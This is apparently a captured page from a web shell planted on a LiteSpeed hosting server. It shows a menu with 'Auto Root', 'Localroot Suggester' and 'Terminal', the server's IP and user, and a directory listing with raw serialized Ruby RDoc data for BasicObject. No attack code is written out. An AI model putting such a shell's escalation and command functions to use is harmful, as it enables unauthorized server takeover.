Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.198
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby32 /
share /
ri /
system /
BasicObject /
Delete
Unzip
Name
Size
Permission
Date
Action
%21%3d-i.ri
366
B
-rw-r--r--
2026-04-07 17:42
%21-i.ri
306
B
-rw-r--r--
2026-04-07 17:42
%3d%3d-i.ri
1.81
KB
-rw-r--r--
2026-04-07 17:42
__id__-i.ri
1.2
KB
-rw-r--r--
2026-04-07 17:42
__send__-i.ri
1.11
KB
-rw-r--r--
2026-04-07 17:42
cdesc-BasicObject.ri
3.85
KB
-rw-r--r--
2026-04-07 17:42
equal%3f-i.ri
1.7
KB
-rw-r--r--
2026-04-07 17:42
instance_eval-i.ri
1.51
KB
-rw-r--r--
2026-04-07 17:42
instance_exec-i.ri
900
B
-rw-r--r--
2026-04-07 17:42
method_missing-i.ri
1.54
KB
-rw-r--r--
2026-04-07 17:42
new-c.ri
313
B
-rw-r--r--
2026-04-07 17:42
singleton_method_added-i.ri
837
B
-rw-r--r--
2026-04-07 17:42
singleton_method_removed-i.ri
916
B
-rw-r--r--
2026-04-07 17:42
singleton_method_undefined-i.ri
811
B
-rw-r--r--
2026-04-07 17:42
Save
Rename
U:RDoc::NormalClass[iI"BasicObject:ET@0o:RDoc::Markup::Document:@parts[o;;[ : @fileI"class.c;T:0@omit_headings_from_table_of_contents_below0o;;[o:RDoc::Markup::Paragraph;[I"OBasicObject is the parent class of all classes in Ruby. It's an explicit ;TI"blank class.;To:RDoc::Markup::BlankLine o;;[ I"LBasicObject can be used for creating object hierarchies independent of ;TI"ORuby's object hierarchy, proxy objects like the Delegator class, or other ;TI"Luses where namespace pollution from Ruby's methods and classes must be ;TI" avoided.;T@o;;[I"KTo avoid polluting BasicObject for other users an appropriately named ;TI"Msubclass of BasicObject should be created instead of directly modifying ;TI"BasicObject:;T@o:RDoc::Markup::Verbatim;[I"(class MyObjectSystem < BasicObject ;TI" end ;T:@format0o;;[I"GBasicObject does not include Kernel (for methods like +puts+) and ;TI"OBasicObject is outside of the namespace of the standard library so common ;TI"?classes will not be found without using a full class path.;T@o;;[ I"KA variety of strategies can be used to provide useful portions of the ;TI"Fstandard library to subclasses of BasicObject. A subclass could ;TI"J<code>include Kernel</code> to obtain +puts+, +exit+, etc. A custom ;TI"PKernel-like module could be created and included or delegation can be used ;TI"via #method_missing:;T@o; ;[I"(class MyObjectSystem < BasicObject ;TI" DELEGATE = [:puts, :p] ;TI" ;TI"/ def method_missing(name, *args, &block) ;TI"4 return super unless DELEGATE.include? name ;TI", ::Kernel.send(name, *args, &block) ;TI" end ;TI" ;TI"> def respond_to_missing?(name, include_private = false) ;TI"* DELEGATE.include?(name) or super ;TI" end ;TI" end ;T;0o;;[ I"IAccess to classes and modules from the Ruby standard library can be ;TI"Lobtained in a BasicObject subclass by referencing the desired constant ;TI"Jfrom the root like <code>::File</code> or <code>::Enumerator</code>. ;TI"KLike #method_missing, #const_missing can be used to delegate constant ;TI"lookup to +Object+:;T@o; ;[ I"(class MyObjectSystem < BasicObject ;TI"$ def self.const_missing(name) ;TI"" ::Object.const_get(name) ;TI" end ;TI" end ;T;0S:RDoc::Markup::Heading: leveli: textI"What's Here;T@o;;[I"4These are the methods defined for \BasicObject:;T@o:RDoc::Markup::List: @type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;[o;;[I"0::new: Returns a new \BasicObject instance.;To;;0;[o;;[I"C#!: Returns the boolean negation of +self+: +true+ or +false+.;To;;0;[o;;[I"F#!=: Returns whether +self+ and the given object are _not_ equal.;To;;0;[o;;[I"E#==: Returns whether +self+ and the given object are equivalent.;To;;0;[o;;[I"?#__id__: Returns the integer object identifier for +self+.;To;;0;[o;;[I"@#__send__: Calls the method identified by the given symbol.;To;;0;[o;;[I"N#equal?: Returns whether +self+ and the given object are the same object.;To;;0;[o;;[I"R#instance_eval: Evaluates the given string or block in the context of +self+.;To;;0;[o;;[I"H#instance_exec: Executes the given block in the context of +self+, ;TI"!passing the given arguments.;T; I" object.c;T; 0; 0; 0[ [ [ [[I" class;T[[:public[ [:protected[ [:private[[I"new;TI" object.c;T[I" instance;T[[;[ [;[ [;[[I"!;T@�[I"!=;T@�[I"==;T@�[I"__id__;TI" gc.c;T[I" __send__;TI"vm_eval.c;T[I"equal?;T@�[I"instance_eval;T@�[I"instance_exec;T@�[I"method_missing;T@�[I"singleton_method_added;T@�[I"singleton_method_removed;T@�[I"singleton_method_undefined;T@�[ [U:RDoc::Context::Section[i 0o;;[ ; 0; 0[ I"class.c;TI" gc.c;TI" object.c;TI"vm_eval.c;T@{cRDoc::TopLevel